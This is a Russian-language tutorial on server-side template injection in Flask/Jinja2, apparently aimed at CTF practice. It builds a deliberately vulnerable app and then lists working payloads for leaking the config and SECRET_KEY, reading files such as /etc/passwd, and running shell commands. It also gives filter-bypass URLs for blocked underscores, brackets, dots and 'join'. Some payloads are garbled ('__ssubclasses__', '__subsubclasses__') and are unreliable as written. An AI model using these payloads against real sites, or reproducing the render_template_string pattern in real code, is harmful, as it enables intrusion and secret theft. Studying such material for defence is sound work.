SSTI
Server Side Template Injections относится к типу Template Injection уязвимостей и возникает из-за неправильной обработки пользовательского ввода при встраивании его в шаблоны веб-приложений. Шаблон - это hml-скелет с выделенными полями, позволяющий этот шаблон обработать и сформировать конечный html.Механизмы шаблонов широко используются веб-приложениями для представления динамических данных пользователям.
В отличие от XSS, Template Injection может использоваться для прямой атаки на внутренние компоненты веб-серверов и получать удаленное выполнение кода.
Итак для примера создадим простое приложение на flask python, которое выглядит следующим образом:
from flask import * app = Flask(__name__) @app.route("/") def home(): return "Hello, World!" if __name__ == "__main__": app.run(debug=True)
На странице просто выведется Hello World! .
Теперь нам нужно добавить параметры, чтобы мы могли взаимодействовать с веб-приложением. Получим просто параметр переданный в запросе request.args.get('name')
.
В данном случае параметр запроса name.
from flask import * app = Flask(__name__) @app.route("/") def home(): output = request.args.get('name') return f"Hello, {output}!" if __name__ == "__main__": app.run(debug=True)
Но если будем делать запрос страницы без параметра name, то получим ошибку. Чтобы избежать этого, просто проверим output в if.
from flask import * app = Flask(__name__) @app.route("/") def home(): output = request.args.get('name') if output == None: return "name parameter not passed" return f"Hello, {output}!" if __name__ == "__main__": app.run(debug=True)
Отлично, теперь у нас есть приложение на flask, которое возвращает значение из get параметра и не вылетает. Теперь по уязвимости, она присутствует там, где шаблоны выполняются на стороне сервера и данные никак не обрабатываются или недостаточно обрабатываются.
Для рендеринга шаблона по строке используем render_template_string.
from flask import * app = Flask(__name__) @app.route("/") def home(): output = request.args.get('name') if output != None: output = render_template_string(f"Hello, {output}!") return output return "name parameter not passed" if __name__ == "__main__": app.run(debug=True)
Запустим сервер и передадим в запросе name={{ 7 * 7 }}
( http://localhost:port/?name={{ 7 * 7 }}), сервер вернет нам Hello, 49!, что означает, что тут присутствует уязвимость.
Механизмы шаблонов используются очень широко, и они существуют для различных языков, таких как PHP, JS, Python, Go, Ruby и многих других.
Основание того, почему они полезны, в том случае, если у вас большой веб-сайт или платформа, где много динамически изменяющихся элементов.
Например, netflix имеет тот же макет для своего контента, и изменяются только следующие вещи: заголовок, описание, баннер и некоторые другие мелкие детали, поэтому вместо создания целиком отдельной страницы для каждого фильма они просто подают данные в свои шаблоны , а затем шаблонизатор складывает все это вместе.
Получение конфигурации
Это может быть полезно для получения ключа SECRET_KEY, который используется для подписи файлов cookie, при этом вы можете создавать и подписывать свои собственные файлы cookie.
Для шаблонизатора Jinja2, который работает с фласком используем {{ config }}
Чтение локальных файлов
Это может быть использовано для чтения любого файла в системе и последующего выполнения может быть выполнен с помощью полезная нагрузка RCE. Также иногда пихают флажок на цтфках в папку с шаблонами {% include 'flag.txt'%}.
Пример полезной нагрузки альтернативы: {{''.__class__.__mro__[2].__ssubclasses__[40]('/etc/passwd').read() }}
RCE
Наконец, удаленное выполнение команд.
Очевидно, что это самый серьезный и опасный процесс, который может быть осуществлен различными способами:
{{''.__class__.__mro__[1].__subsubclasses__()[1]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
Теперь мы можем взглянуть на обходные методы. Давайте начнем с метода обхода параметров.
Представьте, что у вас есть шаблонизатор, в данном случае jinja2, который принимает значение из параметра и удаляет из него все символы подчеркивания "_". Это ограничит нас от различных различных запросов, например мы не сможем обратиться {{__class__}}. Таким образом, этот обходной метод основан на идее, что только этот параметр проверяется на подчеркивание. Поэтому все, что нам нужно сделать, это передать подчеркивание через другой параметр и вызвать их из нашего шаблона.
Мы начнем с вызова атрибута класса из запроса (подчеркивания в данном запросе будут удаляться).{{ request.__class__ }}
мы удаляем «.» и используйте | attr, чтобы сообщить шаблону, что мы используем атрибуты запроса.{{ request|attr("__class__") }}
Далее перенаправляем все содержимое параметра attribute в функцию join, которая склеивает все значения вместе, в этом случае для создания класса они оно сконкатенируется.
{{ request|attr(["__","class","__"]|join) }}
Затем мы удаляем одно подчеркивание и просто умножаем одно на два, что позволяет python, чтобы создать новую строку из ранее указанных строк.{{ request|attr(["_" * 2,"class","_" * 2]|join) }}
Наконец, мы сообщаем paytload, чтобы получить подчеркивания от другого параметра, называемого «usc», и добавляем подчеркивания к другому параметру. В итоге у нас получится.
http://localhost:port/?name={{ request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) }}&usc=_
В следующем методе показывается обход блокировки скобок "[", "]".
http://localhost:port/?name={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
http://localhost:port/?name={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
Еще один вариант в случае, если заблокирована точка ".":http://localhost:port/?name={{request|attr([%22_%22*2,%22class%22,%22_%22*2]|join)}}
Наконец, метод обхода, который используется в случае, когда заблокированы "[", "]", "join" и "_":http://localhost:port/?name={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
Это всего лишь базовые данные обхода, но их можно комбинировать и манипулировать для достижения результатов.
А кучу полезных примеров инъекций вы можете найти туть:https://github.com/swisskyrepo/PayloadsAllTheThings